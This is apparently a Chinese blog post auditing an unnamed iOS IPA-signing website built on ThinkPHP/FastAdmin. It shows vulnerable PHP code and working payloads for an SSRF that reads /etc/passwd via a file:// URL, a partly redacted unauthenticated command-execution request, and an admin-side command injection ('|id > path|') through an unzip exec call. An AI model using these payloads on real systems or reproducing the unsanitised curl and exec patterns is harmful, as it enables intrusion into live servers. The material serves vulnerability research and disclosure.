文章最后更新时间:
![图片[1]- 某iOS签名IPA网站系统V2 代码审计(RCE)- 如烟笔记](https://blog.iosru.com/wp-content/uploads/2025/04/20250407133107308-6cd3e9ceb17c891575443c97707da6fe.webp)
![图片[2]- 某iOS签名IPA网站系统V2 代码审计(RCE)- 如烟笔记](https://blog.iosru.com/wp-content/uploads/2025/04/20250407133200510-30512ec74a0db211f15aeef065157c11.webp)
![图片[3]- 某iOS签名IPA网站系统V2 代码审计(RCE)- 如烟笔记](https://blog.iosru.com/wp-content/uploads/2025/04/20250407133241318-edcc188b811240c42a7d5d4bff19b1d6.webp)
框架:ThinkPHP 5.0.24 FastAdmin Debug:True
0x01 前台任意文件读取+SSRF漏洞
位于 /api/controller/index.php 控制器中的 request_post 方法存在curl_exec函数,且传参均可控,导致漏洞产生.
public function request_post($url = '', $post_data = [])
{
if (empty($url) || empty($post_data)) {
return false;
}
$postUrl = $url;
$curlPost = $post_data;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $postUrl);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_ENCODING, '');
curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 5000);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
Payload:
/api/index/request_post?url=file:///etc/passwd&post_data=1
![图片[4]- 某iOS签名IPA网站系统V2 代码审计(RCE)- 如烟笔记](https://blog.iosru.com/wp-content/uploads/2025/04/20250407133414828-e274dfee0464ae8bd3856345c53fa0d0.webp)
0x02 前台任意命令执行漏洞(RCE)
位于 /api/controller/xxx.php 控制器下的 xxxx 方法存在 命令执行函数,且传参均可控,导致漏洞产生,只需要绕过两个数组即可执行任意命令.
![图片[5]- 某iOS签名IPA网站系统V2 代码审计(RCE)- 如烟笔记](https://img-1259613606.cos.ap-nanjing.myqcloud.com/LightPicture/2025/04/b50124d69d1f1bbb.png)
需要让 $xxxx[0][“xxx”] == 1 且 !in_array($appid, $noinject, true),这里我们不进入第一个if判断,因为他需要 fopen 打开 $apppath . “/zsign.txt”; 若是无这个文件,则直接返回exit() 或者报错;
Payload:
GET /api/xxxx/xxxx HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
![图片[6]- 某iOS签名IPA网站系统V2 代码审计(RCE)- 如烟笔记](https://img-1259613606.cos.ap-nanjing.myqcloud.com/LightPicture/2025/04/5890f796238f610a.jpg)
![图片[7]- 某iOS签名IPA网站系统V2 代码审计(RCE)- 如烟笔记](https://blog.iosru.com/wp-content/uploads/2025/04/20250407133902209-2aa4beee66463620032e77c479bb4dd2.webp)
0x03 后台任意命令执行漏洞
位于 /admin/controller/Category.php 控制器的 xxx 方法存在exec函数,且传参均可控,导致漏洞产生.
public function xxxx($filePath) {
$locale = 'zh_CN.UTF-8';
setlocale(LC_ALL, $locale);
putenv('LC_ALL='.$locale);
//var_dump($ipa_file);
// 获取文件地址
$md5=substr(substr($filePath,-36),0,32);
$filesPath = $_SERVER['DOCUMENT_ROOT']."/cos/".$md5;
$path = 'cos';
if(!file_exists($path))mkdir($path);
// 解压文件
$_cmd = 'unzip -u '.$filePath.' -d '.$filesPath;
exec($_cmd,$output,$return_var);
......
Payload(命令写到文件的话需要绝对路径,可通过使其报错等方式拿到):
/zxqm.php/category/xxxx?filePath=|id%20>%20绝对路径/1.txt|
![图片[8]- 某iOS签名IPA网站系统V2 代码审计(RCE)- 如烟笔记](https://img-1259613606.cos.ap-nanjing.myqcloud.com/LightPicture/2025/04/cf4ea39bba8172d5.jpg)
本站收集的资源仅供内部学习研究软件设计思想和原理使用,学习研究后请自觉删除,请勿传播,因未及时删除所造成的任何后果责任自负。
如果用于其他用途,请购买正版支持作者,谢谢!若您认为「RuYan」发布的内容若侵犯到您的权益,请联系站长邮箱:axspring@qq.com 进行删除处理。
本站资源大多存储在云盘,如发现链接失效,请联系我们,我们会第一时间更新。
暂无评论内容